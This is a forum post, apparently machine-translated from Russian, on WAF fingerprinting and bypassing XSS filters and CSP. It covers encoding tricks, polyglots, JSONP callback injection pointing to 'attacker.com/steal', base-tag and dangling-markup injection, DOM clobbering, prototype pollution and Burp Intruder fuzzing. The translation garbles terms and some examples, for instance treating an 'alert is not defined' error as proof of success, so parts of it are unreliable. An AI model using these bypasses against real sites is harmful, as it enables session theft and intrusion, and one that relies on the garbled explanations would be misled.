Modern methods of bypassing WAF in tasks with non-standard XSS

Depov

Activist
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
128
Reaction score
116
Deposit
0$
Эволюция XSS и современные защиты
Most likely, you already know what XSS is, but let’s repeat for the completeness of the picture.

XSS (from English) Cross-Site Scripting) is a subtype of attack on web systems, consisting in the introduction of a malicious code page issued by the web system (which will be executed on the user's computer when he opens this page) and the interaction of this code with the attacker's web server. The specificity of such attacks is that malicious code can use user authorization in a web system to receive an extended access to it or to obtain user authorization data. Malicious code can be inserted into a page both through a vulnerability in a web server and through vulnerability on the user’s computer. XSS is in third place in the ranking of key risks of Web applications, according to OWASP 2021. For a long time, programmers did not pay enough attention to vulnerability, considering it non-dangerous.

Reflected XSS – The script comes in response to a request (for example, through the URL-parameter). As soon as you click on the link with the malicious parameter - the script is triggered.

Stored XSS – Malicious code is stored in the database (comments, username) and is loaded at each visit of the victim. That's the most dangerous type.

DOM-Based XSS - The script is not sent to the server, but is performed inside the browser due to errors of working with the client's DOM-tree.

Now, let’s talk about modern methods of protection against XSS attacks. In general, XSS protection is built on the principle of Defense in Depth (Deep Protection). No method gives a 100% guarantee, so a combination of tools is used at different levels: from client browser to server and network.

1. Protection at the client browser level

CSP or Content Security Policy is a powerful modern tool. This is an HTTP header that tells the browser, from where it can take scripts and styles.
The advantage of this approach is that it drastically reduces the damage with successful data interception.

2. HttpOnly and Secure Cookies

HttpOnly: This is a flag for cookies. If it is installed (Set-Cookie: session=; HttpOnly), the browser does not access them via JS.
Secure: Transmission of Cookies only by HTTPS.
SameSite=Lax/Strict: Limits the sending of cookies at cross-queries.

3. Subresource Integrity (SRI)

If the style load or scripts comes from third-party CDN, add integrity attribute. The browser will check the hash file before you start.

Smoothly move to server-level protection (Code and Frameworks)

We need to use functions that understand the context. For example, in PHP: htmlspecialchars($data, ENT_QUOTES, ‘UTF-8’) for output to HTML.


If you are required to work with DOM directly or use HTML inner, then use libraries like DOMPurify. They take “dirty” HTML and remove dangerous attributes (onerror, onclick, src=”javascript:”).

Modern SPA-frames (React, Vue, Angular) by default shield data.
In the case of React: {user.name} – safe, dangerouslySetInnerHTML - it's dangerous.

Systems like Cloudflare, AWS WAF or ModSecurity filter incoming traffic before it hits the server. We are talking about Web Application Firewall or WAF.
The services analyze the headers and body of the request. If you see <script> in the parameter? query= then blocks such a request. WAF can be used as an extra layer, but not a replacement for shielding, simply because it can skip complex scripts that disguise themselves as text.


Analysis of goals
Three elephants of modern XSS protection – this CSP – the browser restricts the search circle of code, WAF Finpingping – shows how hackers learn server protection and bypass it, Input Validation is a fundamental logic on a server that does not allow “dirty” data to get into the database or DOM.
CSP policy (script-sr, object-srdirectives)
CSP policy is a “white list” mechanism that has recently become clear to most)), but in the context of web security, such a mechanism tells the browser: “Here you are allowed to take scripts, styles, media, and only from here.”

The main directives for protection against XSS:

default-src ‘self’ - such a machinity allows the loading of resources (JS, CSS, Images) only from the same domain.

script-src – the setting determines the sources of the JS code.

object-src ‘none’ – Blocks <embed>, <object> and <param> tags.

style-src ‘self’ – protection from XSS via CSS.

More efficient CSP mechanisms are the use of Nonce, Report-uri, unsafe-eval.
WAF fingerprinting (CloudFlare, Imperva, AWS WAF)
WAF fingerprint in the context of the XSS vulnerability is a process in which the attacker determines the type of WAF to choose the “ideal” payload to bypass its filtering rules.

WAF – checks incoming requests for “strange” patterns. (<script>, onlick=).

CloudFlare can block <script> in URL parameters, but it can skip it inside the application/json query body or if it is encoded.

Attackers to recognize filtering use automated tools (waf-finger,WAFW007, Burp Suite) and look at server responses.

It is important to feel the timing, especially when working with Impreva, as WAF adds a delay when checking JS content.

Some WAF filter scripts for certain User-Agent only. If a hacker changes the UA to an old browser, the rules may become softer.

Consider the method of bypass for each WAF:
Cloudflare

We see in response from the server cf-ray. If cloudflare is configured only to block the “raw” <script>, then XSS is possible, through HTML entities in certain contexts.

Imperva via DOM-based XSS

If we see the X-Backend-Server in the server’s response, then we are faced with Impreva. Impreva often uses ML to analyze DOM behavior. The attacker can send delay requests to deceive the algorithm. If the WAF does not see the obvious <script> in the body of the answer, but the browser interprets it as a code - XSS.

AWS WAF and ALB

If we see the headline x-amzn-waf-id, then we have a Amazon protection system. AWS WAF uses the “Managed Rules” rules. Such rules can block <script> in the URL, but skip it in the titles Cookie or Referer, if they are not marked as dangerous.

To protect your WAF, namely hide the type, we can use the following masking tools.
1. Hide Headlines
2. Single proxy (use only cloudflare)
3. Random (change X-Backend-Server between requests)
4. CSP – limit the browser field to search for scripts.
Entry check mechanisms
The input checking mechanism is the main stage of XSS protection, which is confused with shielding or sanitation. Validation is performed to ensure that only correct-formed data enters the information system, preventing the preservation of incorrect data in the database and the occurrence of failures in the various components of the system.

Consider the mechanics of input validation:
Whitelisting – Only “white” symbols or data structures are allowed.

Blacklisting – “bad” characters from introductory data have been deleted.

This approach has its own disadvantages, for example, it is difficult to take into account all cases. <img src=x onlick=...> can be divided into parts or legitimized.

Context-Aware Validation – in this method, the system checks the data depending on where they get.

For HTML attribute: Allow only secure characters and shield the assychles.
HTML:
name=”test” --> name=”test”
name=”<script>” --> name=”&lt;script&gt;”

For JavaScript variable:
Code:
var x = “test” --> var x = “test”
var x = “<script>” --> var x = “&lt;script&gt;”

Type-Based Validation – Using Types of Data Types to Restrict XSS.

For example, if the INTEGER type is in the OBD, we write the following function:
user_id = int(request.args.get(‘id’))
Such a code will turn 123<script> into an error.


WAF bypass equipment
Attempting to bypass the WAF or WAF bypass is an attempt where the attacker tries to make a payload so that it does not coincide with any filter signature, but at the same time remained a valid JS code for the browser.
Encoding chains (HTML entities, URL encoding, Unicode)
Encedition Layers – WAF decodes data once, but if a hacker uses double or triple coding, WAF can skip it.

HTML Entity Encoding – WAF is looking for symbols < and >. If they are encoded, WAF may not notice them.

Unicode / Hex Encoding – the use of Unicode symbols to bypass strict filters that are looking for ASCII symbols.
Case variation and mixed encoding
Using differences in the character register and a combination of different types of coding to bypass strict regular WAF expressions.

Case Varia

Sounds strange, but if the rule is written as <script>, then ScRiPt can pass.

Mixed Encoding – several layers of coding, WAF passes code in the intermediate stage. The same is the HTML Entity Encoding.
Context switching attacks
The data that WAF considers “safe” in one context (JSON query body) can be interpreted as code in a different context (HTML).

WAF analyzes inputs based on their original format. But the browser renders data differently, depending on where they got:

If the server receives data in JSON format, but renders it inside the HTML attribute without shielding, WAF may skip XSS because it has seen a “clean” JSON.
Polyglot payloads
These are “universal” XSS scripts that work in several contexts at the same time and bypass different types of filters. They are created to be valid for both HTML as JS.

<img src=x onerror=alert(1)>// – comment // can hide part of the code for one parser.
<svg onload=”alert(1)”> – works in the HTML tag and can be inserted into the href attribute.


CSP bypass vectors
Ways to bypass the Content Security Policy (CSP) policy, which is designed to limit the sources from which the browser can download and execute scripts.
JSONP callback hijacking
JSONP Callback Hijacking is a specific attack vector that uses the JSON (JSON with Padding) mechanism to execute the client side code through an external script.

The attack occurs when the API server does not check the callback function name or returns the answer in the body not only the data, but also the executable JS that gets inside the call of the function.

If the API server returns responses to text/html or applicateton/javascript format rather than strictly application/json, then the hacker can replace part of the data with the code.

If the server returns the data that the client code processes via eval() or inserts into the DOM without shielding, then eval will perform the script.

Consider the types of bypass vectors (Bypass)

Content-Type Bypass – The server returns the answer with Content-Type: text/html, but inside contains a JS code that the browser interprets as a script.

<script src=”https://api.hacker.com?callback=run”></script> + text/html response with code run(‘<img src=x onerror=alert(1)>’);

Callback Parameter Injection – The API server uses the function name from the URL to generate a response, the attacker can transfer a function that itself causes another code.

?callback=window.location.href=’https://attacker.com/steal’

Timing Bypass – The server uses API timers to send data, the attacker can slow down the request so that the WAF does not have time to block it.
Base-uri info
Base uri injection is a vector of attack in which a hacker implements the <base> tag in the victim’s HTML. This changes the basic URL for all the relative links on the page, allowing you to redirect the resources to the hacker domain and execute code through them.

With such an attack, the link resolution context for all pages changes.

<base href=""> tag defines the basic URL for all relative URLs in the document.

In a normal situation, if the page is located on https://good.com/page.html, the link /img/photo.png is downloaded from https://good.com/img/photo.png

But with base injection, if the page is introduced <base href="https://good.com, the same link /img/photo.png will be downloaded with https://good.com/img/photo.png

This is what a direct injection in HTML looks like:
HTML:
<div id=”comment”>
<base href=”https://good.com/”>
</div>

If the page contains <img src="/photo.png">, the browser will download it with https://good.com/photo.png.

And this is what DOM-manipulation looks like:
JavaScript:
const userInput = document.getElementById(‘comment’).value;
document.body.innerHTML += `<base href=”${userInput}”>`;

It inserts a tag without shielding, which changes the context of the page.
Dangling markup injection
The Dangling markup injection is an attack vector that occurs due to the features of the HTML browser parser when processing “hanging” tags or attributes.
The server and client input are “divided” by one HTML tag into two parts, which allows the attacker to manipulate the structure of the document.

The server renders HTML template, where part of the tag is already specified, and the part depends on the input of the user.
<img src=”` + userInput + `” onerror=alert(1)”>
Here, src and onerror are separated by a space, but the src attribute is not closed to the end.

If the user enters x, the result will be <img src=”x” onerror=alert(1)>, and as a consequence, the browser sees <img>, where the attributes are separated by a space, but the src is closed by the dorm.

But if the user enters x” <script>alert(1)</script>, then the second <script tag) can be interpreted as part of an attribute or a separate item, depending on the context.

There is another type of DMI – this is Dangling Tag when the server opens the tag, and the user input closes it.

<div id=”user”` + userInput + `</div>
As a result, the brasure sees that <div> is open, and within it there is <img>, which can be interpreted as part of an attribute or a separate element.
Trusted domain abuse (CDN endpoints)
Trusted domain abuse is an attack vector in which a hacker uses the reputation and configuration of trusted domains (usually CDN services or internal static resources) to bypass the protection and execution of code.

The code is inserted directly into HTML, and then the current “substitutes” the contents of the resource from a trusted source, forcing the victim’s browser to consider it safe.

Internal static resources: static.site.com, assests.site.com.

Third-party CDN: cdn.cloudflare.com

The CDN server or application incorrectly processes the input data in the URL parameters of a trusted domain.

The CDN server can receive requests with parameters and return them to the response body without proper filtering.

This is what a healthy request looks like:
<script src="https://cdn.example.com/libs/jquery.min.js"></script>
This is how an attacker changes the URL:
<script src="https://cdn.example.com/libs/jquery.min.js?callback=evilCallback"></script>

If the application uses CDN for static files, but the DNS record on cdn.example.com is not updated after changing the provider or offing the service, the attacker can register this domain at his home. This is called Subdomain Takeover.

If the CDN subdomain is configured to make it dividing cookies with the main domain (SameSite=None), then XSS on the sub-domain modget stewrited the session of the main application. This is already a Sharing cookie.

Extended operation
Advanced exploitation – This is a deeper level of attack that goes beyond the tags. The hacker uses JS-engine pitfalls and object structure to bypass filters and perform payload.
Mutation XSS (mXSS) throughHTML internal
MXSS appears when the JS code dynamically changes the DOM tree with the help of innerHTML, and the user input data affects the tag structure so that the browser interprets them differently than the developer expected.

The inner HTML parsice string as HTML. If the string contains an inaccurate combination of tags or attributes, the parser can “overeuch” it during the rendering process.
JavaScript:
const container = document.getElementById('container');
container.innerHTML = userInput;

If the userInput contains <img src=x onerror=>, then when inserted through innerHTML, the browser will create a new <img> element and tie the onerror event.

If the server renders HTML, where the attribute coincides with the name of the JS object property (e.g., id="onload"), then when inserted through HTML, the browser can interpret this as an event.
DOM clobbering
DOM Clobbing is a technique in which a hacker overlaps the global properties of JavaScript objects using user input in HMTL attributes.

The JS engine is looking for properties by name. If it is possible to set the name of the element or attribute so that it coincides with the name of the global object, then when accessing this object, the browser will return the value from the DOM, and not from the global visibility area.

<img src=”x” id=”onerror”>

If the server renders this tag, then if you access window.onerror, the browser can return the value of the id attribute, not a global event.
Prototype Pollution -> XSS
Prototype Pollution -> XSS is an attack vector in which a hacker uses a vulnerability at the level of JS objects to change the global behavior of the application, which ultimately leads to the execution of the code in the browser.

In JS, all objects are inherited from Object.prototype. If an attacker can change the properties of this prototype (through the keys), then all existing and future objects in the application will inherit these changes.
JavaScript:
const obj = { foo: ‘bar’ };
Object.prototype.constructor = ‘<script>alert(1)</script>’;
console.log(obj.constructor);

Usually the server accepts JSON data from the client, does not check the availability of special keys (proto etc.), and drains them into global configuration objects. Later, this data is used to render HTML or perform JS on the client.

The server accepts JSON queries:
JavaScript:
const userConfig = req.body;
global.config = Object.assign({}, global.config, userConfig);

If userConfig contains { “__proto__”: { “toString”: ”<script>alert(1)</script>” } }, then Object.prototype.toString is changing.

Later, the server sends HTML a page with data from an object that has been contaminated:

const html = `<div id="info">${global.config.info}</div>`;

The browser sees HTML with a script inserted and executes it.


Reward load design and debugging
The practical stage of this article has begun, in it we will learn step-by-step development of the working exploit, set up Burp Suite Intruder for phases, and also explore the Brasure tools for debugging.

Step-by-step development of the working exploit
Before inserting the code, you need to know where it gets.
Then check the reaction of the server and browser:
HTML:
<img src=x onerror=alert(1)>
<div id="x" style="background:url('https://attacker.com/img.png?callback=...')">

Then you need to choose bypass, as most likely the resource uses several layers of coding:

HTML Entity: &lt;img src=x onerror=alert(1)&gt;

URL of Encoding: %3Cimg%20src=x%20onerror=alert(1)%3E

JS String Escaping: ‘\u003Cimg src=x onerror=alert(1)\u003E’

Bypassing CSP and WAF:


DOM Clobbing: <div id=”onerror”>alert(1)</div>

Some vectors only work in Chrome, others in all. Check console.log and auto in different modes (Incognito, mobile).
Burp Suite Intruder for Fazing
The first thing to do is to prepare the tool (intruder) to work
1. Proxy mode: Interception of the request with the parameter that is suspicious (id,page)
2. Intruder: send a request to Intruder.
3. Positions: Choose positions to substitut data.

Secondly, payload setting, you can use a ready-made dictionary or your own.

Now, it is worth filtering out the conclusion, because with such a setup, errors that are not interesting to us will simply be crumbled.
1. In Inturner choose Simple Attack or Classic Attack.
2. Launch an attack in different positions
3. Sort results by Size of Response.

Also, it will not be superfluous, filter out the Response on the status of the code.
Sometimes a change in status (from 200 to 302) may indicate a redirect via <base> or redirect via location.
Browser DevTools for debugging
DevTools is a very useful tool to confirm that the code is actually executed in the victim’s browser.

The easiest way to check the execution of JS. If the console gives UnquesteredReferenceEror: alert is not defined, the script has worked.
Or execute code in the console.

DOM Tree in elements: Make sure the <img> or <div> tag is really added to the DOM tree.

Attributes in elements: Make sure that the onerror or src attribute contains the expected data. If you see <img src="x" onerror=alert(1)>, then parsser interpreted the data as an event)

Be sure to check the answers, in particular Content-Security-Policy, X-Frame-Options. If script-src 'self' and you use <img>, then the script may not work, but the onerror event will still be completed.

Also, make sure that Payload really hit the server’s response body.
 
Top Bottom